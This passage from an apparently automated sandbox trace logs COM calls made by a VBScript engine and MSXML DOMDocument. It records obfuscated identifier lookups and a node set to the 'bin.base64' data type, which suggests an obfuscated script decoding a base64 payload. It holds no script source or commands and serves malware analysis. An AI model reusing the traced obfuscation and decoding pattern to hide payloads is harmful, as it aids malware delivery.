Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.944] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.944] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.944] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.944] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.944] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.944] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.944] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.944] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.944] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.944] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.944] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.944] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.944] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.944] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.944] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.944] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.944] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.945] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0087.945] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.945] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0087.945] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112bf0) returned 0x0 [0087.945] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.945] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.945] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.945] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.945] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.945] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.945] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.945] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.946] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.946] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.946] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.946] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.946] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.946] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.946] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.946] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.946] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.946] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.946] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.946] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.946] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.946] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.946] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.946] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.946] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0087.946] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0087.947] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112bf0) returned 0x0 [0087.947] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.947] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0087.947] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0087.947] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.947] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.947] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.947] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0087.947] DOMDocument:IUnknown:Release (This=0x5564ec) returned 0x1 [0087.947] DOMDocument:IUnknown:QueryInterface (in: This=0x5564c0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x555088) returned 0x0 [0087.947] DOMDocument:IUnknown:AddRef (This=0x555088) returned 0x2 [0087.947] DOMDocument:IUnknown:Release (This=0x555088) returned 0x1 [0087.947] DOMDocument:IUnknown:Release (This=0x5564c0) returned 0x2 [0087.948] DOMDocument:IUnknown:QueryInterface (in: This=0x555088, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5550bc) returned 0x0 [0087.949] DOMDocument:IDispatchEx:GetDispId (in: This=0x5550bc, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0087.949] DOMDocument:IUnknown:Release (This=0x5550bc) returned 0x1 [0087.949] DOMDocument:IUnknown:AddRef (This=0x555088) returned 0x2 [0087.949] DOMDocument:IUnknown:QueryInterface (in: This=0x555088, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5550bc) returned 0x0 [0087.949] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5550bc, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.949] DOMDocument:IUnknown:Release (This=0x5550bc) returned 0x2 [0087.949] DOMDocument:IUnknown:Release (This=0x555088) returned 0x1 [0087.949] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x555430) returned 0x0 [0087.950] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0087.950] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.950] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x0 [0087.950] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.950] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.951] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.951] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.951] GetCurrentThreadId () returned 0xd44 [0087.951] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.951] ??2@YAPAXI@Z () returned 0x86bff10 [0087.951] malloc (_Size=0x804) returned 0x83fc220 [0087.951] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.951] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0087.952] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.952] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0087.952] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0087.952] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.952] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.952] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0087.952] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.953] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.953] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.953] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.953] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.953] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.953] GetCurrentThreadId () returned 0xd44 [0087.953] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.953] malloc (_Size=0x404) returned 0x11c29f0 [0087.954] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.954] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.954] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.954] GetCurrentThreadId () returned 0xd44 [0087.954] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.954] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.955] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.955] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.955] GetCurrentThreadId () returned 0xd44 [0087.955] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.955] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.955] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.955] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.955] GetCurrentThreadId () returned 0xd44 [0087.955] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.956] ??2@YAPAXI@Z () returned 0x86bff10 [0087.956] malloc (_Size=0x804) returned 0x83fc220 [0087.956] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.956] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0087.956] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.956] DOMDocument:IUnknown:QueryInterface (in: 